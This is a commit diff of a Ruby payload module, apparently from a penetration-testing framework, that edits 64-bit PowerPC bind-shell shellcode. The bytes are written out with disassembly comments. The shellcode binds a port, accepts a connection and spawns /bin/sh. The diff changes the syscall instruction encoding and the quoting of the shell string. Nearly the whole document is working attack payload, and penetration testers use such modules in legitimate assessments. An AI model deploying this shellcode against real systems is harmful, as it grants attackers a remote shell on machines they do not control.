@@ -28,61 +28,62 @@ def initialize(info = {})
28
28
'LPORT' => [ 58 , 'n' ]
29
29
} ,
30
30
'Payload' =>
31
- "\x7f \xff \xfa \x78 " + # xor r31,r31,r31 #
32
- "\x3b \xa0 \x01 \xff " + # li r29,511 #
33
- "\x3b \x9d \xfe \x02 " + # addi r28,r29,-510 #
34
- "\x3b \x7d \xfe \x03 " + # addi r27,r29,-509 #
35
- "\xfb \xe1 \xff \xf9 " + # stdu r31,-8(r1) #
36
- "\xfb \x81 \xff \xf9 " + # stdu r28,-8(r1) #
37
- "\xfb \x61 \xff \xf9 " + # stdu r27,-8(r1) #
38
- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
39
- "\x38 \x7d \xfe \x02 " + # addi r3,r29,-510 #
40
- "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
41
- "\x44 \xff \xff \x02 " + # sc #
42
- "\x7c \x7a \x1b \x78 " + # mr r26,r3 #
43
- "\x3b \x3d \xfe \x11 " + # addi r25,r29,-495 #
44
- "\x3e \xe0 \xff \x02 " + # lis r23,-254 #
45
- "\x62 \xf7 \x04 \xd2 " + # ori r23,r23,1234 #
46
- "\x97 \xe1 \xff \xfc " + # stwu r31,-4(r1) #
47
- "\x96 \xe1 \xff \xfc " + # stwu r23,-4(r1) #
48
- "\x7c \x36 \x0b \x78 " + # mr r22,r1 #
49
- "\xfb \x21 \xff \xf9 " + # stdu r25,-8(r1) #
50
- "\xfa \xc1 \xff \xf9 " + # stdu r22,-8(r1) #
51
- "\xfb \x41 \xff \xf9 " + # stdu r26,-8(r1) #
52
- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
53
- "\x38 \x7d \xfe \x03 " + # addi r3,r29,-509 #
54
- "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
55
- "\x44 \xff \xff \x02 " + # sc #
56
- "\xfb \xe1 \xff \xf9 " + # stdu r31,-8(r1) #
57
- "\xfb \xe1 \xff \xf9 " + # stdu r31,-8(r1) #
58
- "\xfb \x41 \xff \xf9 " + # stdu r26,-8(r1) #
59
- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
60
- "\x38 \x7d \xfe \x05 " + # addi r3,r29,-507 #
61
- "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
62
- "\x44 \xff \xff \x02 " + # sc #
63
- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
64
- "\x38 \x7d \xfe \x06 " + # addi r3,r29,-506 #
65
- "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
66
- "\x44 \xff \xff \x02 " + # sc #
67
- "\x7c \x75 \x1b \x78 " + # mr r21,r3 #
68
- "\x7f \x64 \xdb \x78 " + # mr r4,r27 #
69
- "\x7e \xa3 \xab \x78 " + # mr r3,r21 #
70
- "\x38 \x1d \xfe \x40 " + # addi r0,r29,-448 #
71
- "\x44 \xff \xff \x02 " + # sc #
72
- "\x37 \x7b \xff \xff " + # addic. r27,r27,-1 #
73
- "\x40 \x80 \xff \xec " + # bge+ <bndsockcode64+148> #
74
- "\x7c \xa5 \x2a \x79 " + # xor. r5,r5,r5 #
75
- "\x40 \x82 \xff \xfd " + # bnel+ <bndsockcode64+172> #
76
- "\x7f \xc8 \x02 \xa6 " + # mflr r30 #
77
- "\x3b \xde \x01 \xff " + # addi r30,r30,511 #
78
- "\x38 \x7e \xfe \x25 " + # addi r3,r30,-475 #
79
- "\x98 \xbe \xfe \x2c " + # stb r5,-468(r30) #
80
- "\xf8 \xa1 \xff \xf9 " + # stdu r5,-8(r1) #
81
- "\xf8 \x61 \xff \xf9 " + # stdu r3,-8(r1) #
82
- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
83
- "\x38 \x1d \xfe \x0c " + # addi r0,r29,-500 #
84
- "\x44 \xff \xff \x02 " + # sc #
85
- '/bin/sh'
31
+
32
+ "\x7f \xff \xfa \x78 " + # xor r31,r31,r31 #
33
+ "\x3b \xa0 \x01 \xff " + # li r29,511 #
34
+ "\x3b \x9d \xfe \x02 " + # addi r28,r29,-510 #
35
+ "\x3b \x7d \xfe \x03 " + # addi r27,r29,-509 #
36
+ "\xfb \xe1 \xff \xf9 " + # stdu r31,-8(r1) #
37
+ "\xfb \x81 \xff \xf9 " + # stdu r28,-8(r1) #
38
+ "\xfb \x61 \xff \xf9 " + # stdu r27,-8(r1) #
39
+ "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
40
+ "\x38 \x7d \xfe \x02 " + # addi r3,r29,-510 #
41
+ "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
42
+ "\x44 \x00 \x00 \x02 " + # sc #
43
+ "\x7c \x7a \x1b \x78 " + # mr r26,r3 #
44
+ "\x3b \x3d \xfe \x11 " + # addi r25,r29,-495 #
45
+ "\x3e \xe0 \xff \x02 " + # lis r23,-254 #
46
+ "\x62 \xf7 \x04 \xd2 " + # ori r23,r23,1234 #
47
+ "\x97 \xe1 \xff \xfc " + # stwu r31,-4(r1) #
48
+ "\x96 \xe1 \xff \xfc " + # stwu r23,-4(r1) #
49
+ "\x7c \x36 \x0b \x78 " + # mr r22,r1 #
50
+ "\xfb \x21 \xff \xf9 " + # stdu r25,-8(r1) #
51
+ "\xfa \xc1 \xff \xf9 " + # stdu r22,-8(r1) #
52
+ "\xfb \x41 \xff \xf9 " + # stdu r26,-8(r1) #
53
+ "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
54
+ "\x38 \x7d \xfe \x03 " + # addi r3,r29,-509 #
55
+ "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
56
+ "\x44 \x00 \x00 \x02 " + # sc #
57
+ "\xfb \xe1 \xff \xf9 " + # stdu r31,-8(r1) #
58
+ "\xfb \xe1 \xff \xf9 " + # stdu r31,-8(r1) #
59
+ "\xfb \x41 \xff \xf9 " + # stdu r26,-8(r1) #
60
+ "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
61
+ "\x38 \x7d \xfe \x05 " + # addi r3,r29,-507 #
62
+ "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
63
+ "\x44 \x00 \x00 \x02 " + # sc #
64
+ "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
65
+ "\x38 \x7d \xfe \x06 " + # addi r3,r29,-506 #
66
+ "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
67
+ "\x44 \x00 \x00 \x02 " + # sc #
68
+ "\x7c \x75 \x1b \x78 " + # mr r21,r3 #
69
+ "\x7f \x64 \xdb \x78 " + # mr r4,r27 #
70
+ "\x7e \xa3 \xab \x78 " + # mr r3,r21 #
71
+ "\x38 \x1d \xfe \x40 " + # addi r0,r29,-448 #
72
+ "\x44 \x00 \x00 \x02 " + # sc #
73
+ "\x37 \x7b \xff \xff " + # addic. r27,r27,-1 #
74
+ "\x40 \x80 \xff \xec " + # bge+ <bndsockcode64+148> #
75
+ "\x7c \xa5 \x2a \x79 " + # xor. r5,r5,r5 #
76
+ "\x40 \x82 \xff \xfd " + # bnel+ <bndsockcode64+172> #
77
+ "\x7f \xc8 \x02 \xa6 " + # mflr r30 #
78
+ "\x3b \xde \x01 \xff " + # addi r30,r30,511 #
79
+ "\x38 \x7e \xfe \x25 " + # addi r3,r30,-475 #
80
+ "\x98 \xbe \xfe \x2c " + # stb r5,-468(r30) #
81
+ "\xf8 \xa1 \xff \xf9 " + # stdu r5,-8(r1) #
82
+ "\xf8 \x61 \xff \xf9 " + # stdu r3,-8(r1) #
83
+ "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
84
+ "\x38 \x1d \xfe \x0c " + # addi r0,r29,-500 #
85
+ "\x44 \x00 \x00 \x02 " + # sc #
86
+ "/bin/sh"
86
87
}
87
88
)
88
89
)
0 commit comments